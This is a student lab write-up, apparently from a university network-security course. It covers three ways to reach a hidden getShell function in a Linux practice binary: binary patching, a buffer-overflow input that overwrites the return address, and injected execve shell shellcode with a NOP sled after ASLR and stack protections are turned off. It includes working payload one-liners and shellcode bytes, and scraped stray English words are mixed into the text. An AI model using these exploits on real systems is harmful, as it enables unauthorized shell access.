2019-2020-2 網絡對抗技術 20175217 Exp1 PC平臺逆向破解

1、實驗目標

  • 本次實踐的對象是一個名爲pwn1的linux可執行文件。html

  • 該程序正常執行流程是:main調用foo函數,foo函數會簡單回顯任何用戶輸入的字符串。linux

  • 該程序同時包含另外一個代碼片斷,getShell,會返回一個可用Shell。正常狀況下這個代碼是不會被運行的。咱們實踐的目標就是想辦法運行這個代碼片斷。咱們將學習兩種方法運行這個代碼片斷,而後學習如何注入運行任何Shellcode。git

2、實驗內容

  • 手工修改可執行文件,改變程序執行流程,直接跳轉到getShell函數。shell

  • 利用foo函數的Bof漏洞,構造一個攻擊輸入字符串,覆蓋返回地址,觸發getShell函數。編程

  • 注入一個本身製做的shellcode並運行這段shellcode。vim

3、基礎知識

1.NOP, JNE, JE, JMP, CMP彙編指令的機器碼

  • NOP:90
  • JNE:75
  • JE:74
  • CMP:38~3D

2.掌握反彙編與十六進制編程器

  • 反彙編指令
objdump -d <file(s)>: 將代碼段反彙編;
objdump -S <file(s)>: 將代碼段反彙編的同時,將反彙編代碼與源代碼交替顯示,編譯時須要使用-g參數,即須要調試信息;
objdump -C <file(s)>: 將C++符號名逆向解析
objdump -l <file(s)>: 反彙編代碼中插入文件名和行號
objdump -j section <file(s)>: 僅反彙編指定的section
  • 十六進制編程器:用來以16進制視圖進行文本編輯的工具軟件
vim <filename>:
以ASCII碼形式顯示可執行文件的內容
:%!xxd: 將顯示模式切換爲16進制模式
:%!xxd: 將16進制切換回ASCII碼模式

3.什麼是漏洞,漏洞有什麼危害?(本身的話)

  • 什麼是漏洞?
    • 漏洞是與計算機有關的,能夠被攻擊者利用從而進行攻擊的細節。
  • 漏洞有什麼危害?
    • 漏洞若是被攻擊者所利用,就可能給計算機、網絡等形成嚴重損害,可能致使系統破壞、信息泄露、網絡崩潰等問題。

4、其餘知識

1.管道(|)

  • |:是管道命令操做符,簡稱管道符。利用Linux所提供的管道符「|」將兩個命令隔開,管道符左邊命令的輸出就會做爲管道符右邊命令的輸入。連續使用管道意味着第一個命令的輸出會做爲 第二個命令的輸入,第二個命令的輸出又會做爲第三個命令的輸入,依此類推。

2.輸出重定向:

  • >:表明以覆蓋的方式將命令的正確輸出輸出到指定的文件或設備當中。

  • >>:表明以追加方式輸出。

3.輸入重定向:

  • 命令 < 文件名:把文件做爲命令的輸入,例如wc命令時統計行,單詞書和字符的。

4.EIP

  • CPU每次執行控制器讀取完,相應的就再經過EIP寄存器去進行下一次的讀取指令工做。每次CPU讀取指令到指令緩衝區,相應的EIP寄存器的值增長,增長大小的就是讀取指令的字節大小。

5.NOP(滑行區)

  • 即滑行區,返回地址只要落在任何一個nop上,天然會滑到咱們的shellcode
  • 起到填充和「着陸、滑行」的做用

5、實驗任務

任務一 直接修改程序機器指令,改變程序執行流程

原理(思路):sass

  • 1.對目標文件進行反彙編,找到main函數,和要攻擊的foo函數
  • 2.經過彙編指令找到main函數跳轉到foo函數的指令,分析其對應的機器指令
  • 3.修改目標文件的對應的機器指令,使得main函數跳轉到getShell函數

步驟:網絡

  • 對pwn1進行備份,備份爲pwn1.bak

  • 輸入指令objdump -d pwn1 | morepwn1文件進行反彙編

  • 找到main函數跳轉到foo函數的指令,對反彙編的結果進行分析
    • 能夠看到函數的地址爲08048491,main函數中的call 8048491 <foo>指令的機器碼爲e8 d7 ff ff ff,下一條指令的地址爲80484ba。機器碼中的0xffffffd7 = 0x080484ba - 0x08048491爲主函數執行位置和foo函數起始地址的差
    • 所以,想要讓程序執行到getShell需更改call指令的機器碼爲相應地址的差,計算地址差爲0x080484ba - 0x0804847d = 0xffffffc3

  • 修改目標文件機器碼
    • 輸入指令vi pwn1打開以ASCII碼顯示的文件
    • 輸入指令:%!xxd將文件轉換爲16進制查看
    • 找到d7ffffff位置,輸入i進入插入模式,將d7修改成c3
    • 輸入指令:%!xxd -r將文件轉化爲ASCII碼形式,保存並退出

  • 此時輸入指令objdump -d pwn1 | more查看,發現pwn1文件已經被修改了

結果:dom

  • 運行更改後的pwn1,執行getShell,獲得shell提示符
  • 運行備份pwn1.bak,正常執行foo函數,實現回顯功能

任務二 經過構造輸入值,形成BOF攻擊,從而改變程序執行順序

原理(思路):ide

  • 1.經過觀察main函數調用的函數,觀察系統預留的緩衝區的大小,用該大小加上4字節(ebp),便可得出eip(返回地址)的位置,只要讓getShell的地址覆蓋該eip就可讓程序執行getShell
  • 2.經分析可知應該輸入緩衝區大小+4字節(ebp)+getShell的地址,使得getShell的地址覆蓋eip
  • 3.由於咱們無法經過鍵盤輸入16進制值,因此先經過perl語言生成包括這樣字符串的一個文件,並使用輸出重定向「>」將perl生成的字符串存儲到文件input中
  • 4.將input的輸入,經過管道符「|」,做爲目標文件的輸入

步驟:

  • 經過反彙編指令查看foo函數中爲輸入預留的空間

  • 計算出實現緩衝區溢出的字符數爲28+4=32字節(4爲EBP佔用的內存空間),咱們但願執行getShell函數,所以須要將getShell函數的地址放在eip(返回地址)處,即33~36字節,接下對猜測進行驗證

  • 咱們在gdb中輸入至少36字節的數據,能夠看到給出了Segmentation fault 的錯誤提示,同時能夠查看到eip寄存器的地址爲0x34333231 ,驗證了將getShell的地址放在33~36字節的猜測

  • 咱們將33~36字節的內容替換爲getShell的地址,即\x7d\x84\x04\x08,前32字節能夠任意輸入

  • 因爲咱們沒法從鍵盤輸入16進制的值,所以運用perl語言和>輸出重定向構造輸入文件perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input構造輸入,咱們能夠經過catxxd指令查看咱們構造的輸入文件

結果:

  • 而後經過管道符|,輸入命令(cat input; cat ) | ./pwn2將構造的輸入input做爲pwn2的輸入並運行,結果以下:

任務三 注入shellcode並執行

原理(思路):

  • 1.設置堆棧可執行、關閉地址隨機化
  • 2.根據咱們的目的構造shellcode
  • 3.以retaddr+nop+shellcode(緩衝區小)或nop+shellcode+retaddr(緩衝區大)的方式構造攻擊buf
  • 4.先構造一個任意的返回地址(最後不能是\x0a(回車)),而後注入這段buf並運行改進程
  • 5.再打開另外一個終端來調試該進程,並找到滑動區nop的地址,以肯定retaddr的值
  • 6.用調試肯定的返回值填入retaddr,再次注入此時的buf並運行,便可發現進程成功運行shellcode

步驟:

  • execstack -s pwn3設置堆棧可執行
  • execstack -q pwn3查詢文件的堆棧是否可執行,結果爲X表示可執行
  • linux系統爲了防範shellcode的注入攻擊,在屢次運行程序時寄存器的地址會發生改變,所以需關閉地址隨機化
    • more /proc/sys/kernel/randomize_va_space查看隨機化是否關閉
    • echo "0" > /proc/sys/kernel/randomize_va_space關閉隨機化
    • more /proc/sys/kernel/randomize_va_space再次查看,結果爲0證實已關閉

  • 參考老師給出的代碼,咱們首先構造一個input_shellcode
perl -e 'print "A" x 32;print \x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"'
 > input_shellcode
  • 在該終端中經過(cat input_shellcode;cat) | ./pwn3運行pwn3
  • 在另外一個終端中輸入ps -ef | grep pwn3查看pwn3的進程號

  • 啓用gdb調試並定位pwn3進程
  • disassemble foo進行反編譯,能夠看到ret指令的地址爲0x080484ae,在此處設置斷點break *0x080484ae

  • 在第運行終端中按下回車繼續運行, 程序執行到斷點中止
  • 再在調試終端輸入c繼續運行程序
  • info r esp查看esp寄存器地址,此時esp的地址即爲eip的地址
  • 輸入x/16x 0xffffd1ac以16進制形式查看0xffffd1ac地址後面的內容
  • 能夠觀察到、最早出現0x90(滑行區)的位置地址爲0xffffd1ac+0x00000004=0xffffd1b0

  • 將注入代碼buf的地址改成0xffffd1b0

  • 輸入(cat input_shellcode;cat) | ./pwn3

結果:

  • 成功運行了shellcode

6、遇到的問題和解決

問題一:

  • 在作任務一時,改完機器指令後,忘記將其轉換成ASCLL碼形式,就保存退出了,致使後續沒法進行反彙編

解決一:

  • 又重作了一遍,記得用:%!xxd -r轉成ASCLL碼形式就不會出問題

問題二:

  • 在參考組長的博客時,發現他任務三,在調試的過程當中,一直不理解爲何經過尋找esp的地址,來肯定eip的地址

解決二:

  • 後來通過組內討論,發現是本身沒有注意到斷點的位置ret指令以前,已經執行過leave指令,即已經執行過pop ebp,此時esp已經指向eip了

7、實驗心得體會

       以前本身對網絡攻防這方面也算是有點興趣、有點好奇吧,此次,在看了老師的視頻講解以後,本身實操了一把,感受還不錯,多是前期看視頻、學知識準備的比較久,作完還有那麼一點點小成就感。
       此次實驗的主要困難就是在於對機器碼、彙編指令、十六進制數、堆棧原理的掌握還不是很充分,一些地方理解起來比較費勁,我是看完老師的視頻就開始參考着組長的博客開作了,在作的過程當中,有不懂的地方,就直接上網上去查,沒有的話就去問同窗,和組內同窗討論,邊作邊學,摸着石頭過河
       最後作下來,總體感受仍是不錯的,也沒有遇到太大的問題,全部遇到問題都獲得瞭解決,對此次的實驗內容也有了基本的瞭解,同時也有了很大的收穫。也還有不少地方掌握的不是太好,如機器指令、彙編語言之類的,以後我也會增強學習,爭取作的更好!

8、參考連接

相關文章
相關標籤/搜索